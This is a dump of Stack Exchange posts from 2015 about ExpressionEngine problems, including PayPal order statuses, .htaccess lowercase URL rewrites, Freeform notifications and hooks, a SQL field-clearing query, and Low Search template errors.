  <row Id="34267" PostTypeId="1" CreationDate="2015-10-02T10:34:39.360" Score="3" ViewCount="86" Body="&lt;p&gt;Our store runs Expresso Store 2.5.1 on EE 2.10.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checkout is via Paypal Express.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certain orders go off for payment via Paypal and the order system records a successful payment and the status in the &lt;strong&gt;database&lt;/strong&gt; for the order is 'New' (as expected) however when viewing the orders in the admin, the status shown is 'incomplete'. The option to print invoice also doesn't then work.&#xA;The order (or more accurately 'the cart' as it isn't technically marked as an order yet) shows the successful payment from Paypal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WOIsV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WOIsV.jpg&quot; alt=&quot;order showing payment and incomplete status&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that this could be because a user hasn't left Paypal and gone to the order success page thereby not generating the URL and leaving the order unconfirmed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can suggest a reason as to how this can happen and more importantly, how to avoid it?&lt;/p&gt;&#xA;" OwnerUserId="3835" LastActivityDate="2015-10-02T10:34:39.360" Title="Order paid, status remains 'Incomplete'" Tags="|expresso-store|paypal-express-checkout|orders|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34268" PostTypeId="2" ParentId="34259" CreationDate="2015-10-02T11:52:29.923" Score="2" Body="&lt;p&gt;I have got code used previously in .htaccess (not recently tested), but what you also have to be careful of is the filenames of other content, specifically images, etc. As both htaccess and Apache would do all URLs on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you've indicated in the question, the pagination urls don't work lowercase - the other one to watch out for is search results (I tend to use Low Search).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 [A-Z]&#xA;RewriteCond %{REQUEST_URI} !(\.pdf|\.jpg|\.jpeg|\.png)$ [NC]&#xA;RewriteCond %{REQUEST_URI} !/search/.* [NC]&#xA;RewriteCond !P[0-9]* [NC]&#xA;RewriteRule ^/?(.*)$ /${lowercase:$1} [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Breakdown...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 [A-Z]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does the URL contain capital letters?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !(\.pdf|\.jpg|\.jpeg|\.png)$ [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ignore if the requested URL ends in these extensions (extend with other extensions as applicable)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !/search/.* [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ignore if the URL is search (change to match whatever you use if relevant)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond !P[0-9]* [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ignore if it's a paginated URL&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^/?(.*)$ /${lowercase:$1} [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now deliver the URL as lowercase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the original answer, I didn't clarify the use of &lt;code&gt;lowercase&lt;/code&gt;. This needs to be defined in the httpd.conf, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteMap lowercase int:tolower&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The original solution provided meant that if there's a pagination identifier in the URL it ignores it completely, which means if you had /Blog/P10, it would allow it through. Alas I couldn't find a clean way of doing it in one regx, but this is the final solution I've used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Convert all URLs except if it has Pagination!&#xA;RewriteCond %{REQUEST_URI} ^[^A-Z]*[A-Z].*&#xA;RewriteCond %{REQUEST_URI} !(\.pdf|\.jpg|\.jpeg|\.png)$ [NC]&#xA;RewriteCond %{REQUEST_URI} !/search/.* [NC]&#xA;RewriteCond %{REQUEST_URI} !\/P[0-9]* [NC]&#xA;RewriteRule ^(.+?)$ https://%{SERVER_NAME}/${lowercase:$1} [R=301,L]&#xA;&#xA;# If uppercase in initial URL, leaving Pagination element&#xA;# Will not match on lowercase intial or if Pagination element missing&#xA;RewriteCond %{REQUEST_URI} !(\.pdf|\.jpg|\.jpeg|\.png)$ [NC]&#xA;RewriteCond %{REQUEST_URI} !/holidays/search/.* [NC]&#xA;RewriteRule ^((.*?[A-Z]+.*)(\/P[0-9]+)) https://%{SERVER_NAME}/${lowercase:$2}$3 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2015-11-09T10:21:47.727" LastActivityDate="2015-11-09T10:21:47.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34269" PostTypeId="2" ParentId="34262" CreationDate="2015-10-02T12:00:07.467" Score="1" Body="&lt;p&gt;If it is an image loaded from a file upload location, adjust the the file upload preference url to be what you need.  Looks like the previous developer forgot to do this when they launched the site.  Search your templates and css files, it may also be hardcoded in there somewhere as well.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-10-02T12:00:07.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34270" PostTypeId="1" CreationDate="2015-10-02T12:17:12.113" Score="0" ViewCount="177" Body="&lt;p&gt;Suddenly Freeform pro isn't sending emails to the admin or the visitor. It worked but now it doesn't for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logs report that they are sending, but they aren't being received. I'm using the basic form module that comes with EE as well and we aren't having any issues receiving those emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas here?&lt;/p&gt;&#xA;" OwnerUserId="4981" LastActivityDate="2016-06-12T15:32:58.140" Title="Freeform pro won't send emails" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34271" PostTypeId="2" ParentId="34270" CreationDate="2015-10-02T12:53:59.203" Score="0" Body="&lt;p&gt;This could be a server issue. What's your hosting solution? Also, is this an intranet (internal network) or internet app? Also, what's it look like when you visit your Control Panel here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your Site -&amp;gt; Home -&amp;gt; Administration -&amp;gt; Email Configuration&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And last, but definitely not least, have you visited &lt;a href=&quot;https://www.spamhaus.org/&quot; rel=&quot;nofollow&quot;&gt;https://www.spamhaus.org/&lt;/a&gt; today?&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-02T12:53:59.203" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34272" PostTypeId="1" AcceptedAnswerId="34273" CreationDate="2015-10-02T14:16:11.853" Score="1" ViewCount="31" Body="&lt;p&gt;We ran a batch import to pull in several hundred entries, but some fields got imported incorrectly. For example, all the websites imported as &quot;link&quot;, when they should have been blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me with a command to run in the SQL manager that will clear all the values of a custom field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE2.10.1, Channel ID 9, Field ID 60&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2015-10-02T14:21:14.763" Title="SQL help - clear all the values of a specific field" Tags="|query|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34273" PostTypeId="2" ParentId="34272" CreationDate="2015-10-02T14:21:14.763" Score="0" Body="&lt;p&gt;This'll do it. However, as always... &lt;strong&gt;back up your exp_channel_data table&lt;/strong&gt; before doing anything, especially if you're not a developer or DB admin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data &#xA;    SET field_id_60 = &quot;&quot;&#xA;    WHERE channel_id = &quot;9&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-02T14:21:14.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34274" PostTypeId="2" ParentId="27251" CreationDate="2015-10-02T14:29:16.623" Score="2" Body="&lt;p&gt;Just wanted to comment that adding&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cp_session_type'] = 's';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;worked for me too.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2015-10-02T14:29:16.623" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34275" PostTypeId="2" ParentId="30272" CreationDate="2015-10-02T15:42:28.253" Score="0" Body="&lt;p&gt;Try this approach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:description:{composer:field_name}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2714" LastActivityDate="2015-10-02T15:42:28.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34277" PostTypeId="1" CreationDate="2015-10-02T20:34:20.933" Score="0" ViewCount="148" Body="&lt;p&gt;I'm working on a local install of EE 2.10.1 in Windows 7 with XAMPP. Everything is cooperating, but the control panel navigation is broken - mouseing over/clicking nav items shows no drop-down. It appears my JS and CSS are all loading. Default theme. Has anyone seen this before?&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2015-10-07T20:23:36.313" Title="Broken control panel navigation" Tags="|control-panel|navigation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34278" PostTypeId="1" AcceptedAnswerId="34280" CreationDate="2015-10-02T20:52:50.363" Score="2" ViewCount="118" Body="&lt;p&gt;Having trouble getting Freeform to parse variable names in email notification templates.  Some are working and some are not.  I've tried creating new fields, duplicating fields that are working, etc.  Any advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like a very similar issue to those reported by Todd:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/34098/freeform-pro-notifications&quot;&gt;FreeForm Pro Notifications&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/32819/freeform-pro-hidden-fields-and-notifications&quot;&gt;Freeform Pro Hidden Fields and Notifications&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="442" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2015-10-02T21:24:53.077" Title="Freeform Email Notification Variables Fail to Parse" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34279" PostTypeId="1" CreationDate="2015-10-02T21:13:49.837" Score="0" ViewCount="36" Body="&lt;p&gt;I just installed the latest version of Charge on my 2.10.1 ExpressionEngine site and now I'm seeing the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse error: syntax error, unexpected ')' in /wwwroot/system/expressionengine/third_party/charge/mcp.charge.php on line 800&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else having this issue?  &lt;/p&gt;&#xA;" OwnerUserId="442" LastActivityDate="2015-10-03T22:25:05.870" Title="Charge 1.9.8 Error After Install?" Tags="|charge|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34280" PostTypeId="2" ParentId="34278" CreationDate="2015-10-02T21:24:53.077" Score="1" Body="&lt;p&gt;When you first create a form in the backend, you must specify whether you want a &quot;Composer&quot; form or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you choose &quot;Composer&quot; you can still set up your form templates outside of Composer BUT any field that you reference MUST be added to your composer layout or that field will not be available in your email notification templates.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2015-10-02T21:24:53.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34282" PostTypeId="2" ParentId="34253" CreationDate="2015-10-02T22:27:05.213" Score="0" Body="&lt;p&gt;Alright. I figured it out. I needed to go to admin.php in my browser, rather than the front page.&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2015-10-02T22:27:05.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34283" PostTypeId="1" AcceptedAnswerId="34284" CreationDate="2015-10-02T23:04:25.053" Score="1" ViewCount="705" Body="&lt;p&gt;I am a .NET/Java developer so I'm not very familiar with PHP although I have dabbled with it in the past and am a total noob with Expression Engine.  I am working on a project at work along side our front-end site developer who is using EE to build a membership site.  We are using FreeForm Pro to create 2 or 3 user forms.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is a simple form asking for first name, last name and email address.  When the user supplies this information and clicks the submit button we want to be able to verify the person's existence in a table that was not created by the installation of the FreeForm module.  At the moment I copied the basic form code example from FreeForm documentation pages and pasted it to a Template in EE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Contact Us&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    To send us a message, please fill out the form below.&#xA;    We’ll get back to you shortly!&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;{exp:freeform:form&#xA;    form_name=&quot;contact&quot;&#xA;    return=&quot;contact_us/thank_you&quot;&#xA;}&#xA;    &amp;lt;dl&amp;gt;&#xA;    {freeform:all_form_fields}&#xA;        &amp;lt;dt&amp;gt;&amp;lt;label&amp;gt;{freeform:field_label}&amp;lt;/label&amp;gt;&amp;lt;/dt&amp;gt;&#xA;        &amp;lt;dd&amp;gt;{freeform:field_output}&amp;lt;/dd&amp;gt;&#xA;    {/freeform:all_form_fields}&#xA;    &amp;lt;/dl&amp;gt;&#xA;    {if freeform:captcha}&#xA;        &amp;lt;p&amp;gt;Please enter the word you see in the image below:&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;{freeform:captcha}&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; style=&quot;width:140px;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;    &amp;lt;p&amp;gt;{freeform:submit}&amp;lt;/p&amp;gt;&#xA;    {if freeform:no_results}&#xA;        &amp;lt;p&amp;gt;&#xA;            Specified form was not found. Please make sure you have&#xA;            specified the correct short name of the form in the&#xA;            &amp;lt;b&amp;gt;form_name&amp;lt;/b&amp;gt; parameter.&#xA;        &amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When submit button on this form is clicked the data gets saved into the table exp_freeform_form_entries_1.  This is unnecessary for us but not a big deal.  What we want to do is verify with a table that was not created by the FreeForm module like a membership_staging table to determine if the person is already registered.  The membership_staging table is a table that was imported from another application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We were thinking we could use one of the extension hooks like freeform_module_insert_begin to redirect the forms functionality to do a simple query and comparison to the membership_staging table but are have not been able to figure out how the hooks are triggered and how to use them correctly.  I copy/pasted the following hook code from the FreeForm documentation into my EE Template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (ee()-&amp;gt;extensions-&amp;gt;active_hook('freeform_module_insert_begin') === TRUE)&#xA;{&#xA;    $field_input_data = ee()-&amp;gt;extensions-&amp;gt;universal_call(&#xA;        'freeform_module_insert_begin',&#xA;        $field_input_data,&#xA;        $entry_id,&#xA;        $form_id,&#xA;        $this&#xA;    );&#xA;&#xA;    if (ee()-&amp;gt;extensions-&amp;gt;end_script === TRUE)&#xA;    {&#xA;        return;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure if this piece of code is being executed when the submit button is clicked and have no idea how to test if it is.  I have scoured the internet for the past week looking for tutorials or examples of how to utilize hooks in an EE template but only find tutorials and example on how to build extensions and none of them talk about hooks and how to use them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would greatly appreciate it if someone could assist me in filling in the blank.&lt;/p&gt;&#xA;" OwnerUserId="6721" LastActivityDate="2015-10-03T05:54:05.053" Title="How to use FreeForm Pro or EE Extension Hooks" Tags="|solspace-freeform|add-on|extension|ee|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34284" PostTypeId="2" ParentId="34283" CreationDate="2015-10-02T23:34:17.110" Score="0" Body="&lt;p&gt;You need to write what's called an extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/extensions.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, an extension fires when a given hook goes by,  you can do your check in the aux table there, and then return to the form submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Freeform docs show what hooks are available to work with.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-10-02T23:34:17.110" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="34285" PostTypeId="1" CreationDate="2015-10-03T01:10:21.860" Score="0" ViewCount="96" Body="&lt;p&gt;ee v2.9.2&#xA;low search v4.4.0&lt;/p&gt;&#xA;&lt;p&gt;The code below is generating an error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You have an invalid conditional in your template. Please review your conditionals for an unclosed string, invalid operators, a missing }, or a missing {/if}.&lt;/p&gt;&#xA;&lt;p&gt;Parser State: Unexpected end of Template “image-database/results” on line 93; expected ENDIF tag for opening on line 91.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Removing the {low_search:results} tags, the error goes away.&lt;/p&gt;&#xA;&lt;p&gt;Removing the {if no_results} conditional, the error goes away.&lt;/p&gt;&#xA;&lt;p&gt;Removing the {if count ==1} conditional, the error goes away.&lt;/p&gt;&#xA;&lt;p&gt;Removing the {if category_is_parent == 0} conditional, the error goes away.&lt;/p&gt;&#xA;&lt;p&gt;Removing the {nsm_categories:archive tags}, the error remains.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    query=&amp;quot;{segment_3}&amp;quot;&#xA;    collection=&amp;quot;image-gallery&amp;quot;&#xA;    paginate=&amp;quot;bottom&amp;quot;&#xA;    limit=&amp;quot;28&amp;quot;&#xA;    orderby_sort=&amp;quot;low_search_collection:image-gallery&amp;quot;&#xA;    require_all=&amp;quot;category&amp;quot;&#xA;    }&#xA;    {if no_results}&#xA;        {exp:nsm_categories:archive&#xA;            enable=&amp;quot;&amp;quot;&#xA;            category_group=&amp;quot;8&amp;quot; depth=&amp;quot;2&amp;quot;&#xA;            start_at_category=&amp;quot;58&amp;quot;&#xA;            style=&amp;quot;linear&amp;quot;&#xA;            }&#xA;            {if count ==  1}abc{/if}&#xA;                {if category_is_parent != 0}&#xA;                    {category_name}&#xA;                {/if}&#xA;                {if category_is_parent == 0}&#xA;                    {if count ==  1}yes{if:else}no{/if}&#xA;                {/if}&#xA;            {if count == total_results}xyz{/if}&#xA;        {/exp:nsm_categories:archive}&#xA;    {/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am convinced the issue with Low Search but I am not an expert.&lt;/p&gt;&#xA;&lt;p&gt;Any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="646" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2016-06-09T22:37:00.543" Title="Nested conditionals break within low_search:results tag" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34286" PostTypeId="2" ParentId="34283" CreationDate="2015-10-03T05:48:48.913" Score="0" Body="&lt;p&gt;Here we go...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you have your first form (taking first name, last name, and email address). It's a FreeForm form, displayed on the &lt;strong&gt;client side&lt;/strong&gt;, with rendered template code you've shown. When a user fills in the data and submits, it sends a POST request to what is called and Action ID (ACTid), which is a sort of API portal between the client and the ExpressionEngine &lt;code&gt;(custom)?&lt;/code&gt; module. Here's an example ACT address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.domains-rock.com/?ACT=666&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When a module is properly installed, there is a DB table (generally called &lt;code&gt;exp_action&lt;/code&gt;) that gets inserted rows that create an association between an ACTion ID and a module's class method. For FreeForm, it would have a table row that associated ACTion ID &lt;code&gt;666&lt;/code&gt; with the method that handles the form submission. That method then has a code hook in it. The engine looks at that hook and looks at the &lt;code&gt;exp_extensions&lt;/code&gt; table to see if any installed extensions want to run their own class's methods inside of the code in the FreeForm submission method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; i submit form&#xA;&amp;gt; FeeForm EE addon receives it&#xA;&amp;gt; starts processing it, but starts off with the insert_begin hook&#xA;&amp;gt;  - your extension hooks to that, so it takes over code control here&#xA;&amp;gt;  -  -  you get passed form info, whatever, into your extension method&#xA;&amp;gt;  -  -  you modify it and return it, or return false if invalid, whatever&#xA;&amp;gt;  - your extension ends, return form submission control to FreeForm&#xA;&amp;gt; FreeForm finishes up with the submission process.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-10-03T05:54:05.053" LastActivityDate="2015-10-03T05:54:05.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34287" PostTypeId="2" ParentId="34285" CreationDate="2015-10-03T07:59:21.147" Score="0" Body="&lt;p&gt;Actually, I doubt this is a Low Search issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the problem persists if you change the &lt;code&gt;exp:low_search:results&lt;/code&gt; tag to a &lt;code&gt;exp:channel:entries&lt;/code&gt; tag, then the issue is definitely not related to LS. Can you check if this is the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try and use &lt;code&gt;{if low_search_no_results}&lt;/code&gt; rather than &lt;code&gt;{if no_results}&lt;/code&gt;, to see if that makes a difference. It's probably due to unexpected nesting that the error is thrown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can even try and move the code inside the no_results conditional into an embed and see if it works that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Side note: you're targeting a single collection, so using &lt;code&gt;orderby_sort=&quot;low_search_collection:image-gallery&quot;&lt;/code&gt; is not necessary. You can safely remove that parameter.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-10-03T07:59:21.147" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34288" PostTypeId="2" ParentId="34266" CreationDate="2015-10-03T15:15:34.157" Score="0" Body="&lt;p&gt;Try setting which site you want to search in, otherwise it will only search the current site. If it can't find those channels, you get no results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;channel=&quot;site_name:news|site_name:business|site_name:travel&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;MSM is nice. But when you want to pull data from one site into another, you need to specify where the data comes from.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-10-03T15:15:34.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34289" PostTypeId="1" CreationDate="2015-10-03T16:52:27.123" Score="0" ViewCount="161" Body="&lt;p&gt;I had setup the multiple sites using MSM and want to publish content to different sites different categories in a single submit from the admin.&lt;/p&gt;&#xA;" OwnerUserId="6718" LastActivityDate="2016-05-29T07:34:37.713" Title="How to publish content to multiple site channel categories from admin" Tags="|categories|multi-site-manager|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34290" PostTypeId="2" ParentId="34289" CreationDate="2015-10-03T22:18:37.270" Score="0" Body="&lt;p&gt;I couldn't really find addon already made that will do that. What you'd need to do is craft an one yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a bit complex of an addon to make, so I'll try and outline what you'd need to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, create an module with a tab file. Use that Tab file to generate a tab on your publish page (call it something like &quot;MultiPost&quot;). Then, make an accessory that modifies that tab with JavaScript on your publish pages. Use the accessory file to look up your sites, the channels for those sites, and your channel categories. Then, in the accessory, use jQuery to create checkboxes in your MultiPost tab, aka, a list of checkboxes for which sites to post it to, then in that site, which channel (only submit to channels that share the same field group), and which channel categories. Also with that jQuery, hook to the publish form &lt;strong&gt;Submit&lt;/strong&gt; button; stop the submission on click (&lt;code&gt;preventDefault&lt;/code&gt;). Use jQuery to add hidden input fields to the entry form. Those hidden input fields will have the value from your MultiPost tab (what sites you've clicked to post it to, what channels, what categories per channel per site). After you add your hidden inputs, continue with form submission. Then, use an extension hooked to, perhaps, &lt;code&gt;channel_form_submit_entry_end&lt;/code&gt;, to grab your custom POST data that you inserted into the entry form (&lt;code&gt;ee()-&amp;gt;input-&amp;gt;post('my_hidden_field_with_site_ids_to_duplicate_this_channel_entry_to')&lt;/code&gt;). Use that data, and the &lt;code&gt;channel_form_obj&lt;/code&gt;, and the Channel Entries API to submit new entries to your other sites, modifying the channel id and categories along the way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, wasn't that &lt;strong&gt;easy&lt;/strong&gt;? I don't recommend actually trying to create an addon of such complexity unless this is your full-time job and your employer is aware of the immensity of developing this addon. What you're asking is technically feasible, but not how you should be going about it. You might be able to use MX Cloner:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.eec.ms/add-ons/mx-cloner/&quot; rel=&quot;nofollow&quot;&gt;http://www.eec.ms/add-ons/mx-cloner/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To just clone entries from one site to another, but I'm not sure if it has the option to change &lt;code&gt;site_id&lt;/code&gt; or categories in the process.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-10-04T18:15:02.667" LastActivityDate="2015-10-04T18:15:02.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34291" PostTypeId="2" ParentId="34279" CreationDate="2015-10-03T22:25:05.870" Score="1" Body="&lt;p&gt;This was corrected in the 1.9.9 release.  Problem solved.&lt;/p&gt;&#xA;" OwnerUserId="442" LastActivityDate="2015-10-03T22:25:05.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34292" PostTypeId="1" CreationDate="2015-10-05T02:09:02.927" Score="0" ViewCount="58" Body="&lt;p&gt;With the old version of store, we had UPS figured options and a flat rate international option, but with the latest version and the UPS plugin, only the UPS options appear. Is it not possible to have both? And how do we apply Free shipping to the UPS options with discounts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No problem! The latest version of store that we have is 2.5.1, we are upgrading from 1.6.5. We have the code in the last stage of our checkout &amp;amp; it only displays the UPS options: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;        &#xA;    &amp;lt;th colspan=&quot;2&quot; class=&quot;input-styles&quot; style=&quot;padding-top: 5px; border-bottom: 0;&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;checkout-labels&quot;&amp;gt;Shipping:&amp;lt;/span&amp;gt;&amp;lt;select name=&quot;shipping_method&quot; id=&quot;shipping_method&quot; style=&quot;display: inline-block; width: 139px; font-size: 10px !important;&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;&quot;&amp;gt;Select shipping method...&amp;lt;/option&amp;gt;&#xA;                {shipping_method_options}&#xA;        &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/th&amp;gt;&#xA;    &amp;lt;th class=&quot;input-styles&quot; id=&quot;js-shipping-price&quot; style=&quot;text-align: right; vertical-align: top; padding: 5px 10px 0 0; border-bottom: 0;&quot;&amp;gt;&#xA;        {order_shipping}&#xA;    &amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6727" LastEditorUserId="6727" LastEditDate="2015-10-06T02:18:33.013" LastActivityDate="2015-10-06T02:18:33.013" Title="UPS Shipping AND Default shipping plugin options" Tags="|expresso-store|shipping|ups-shipping|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
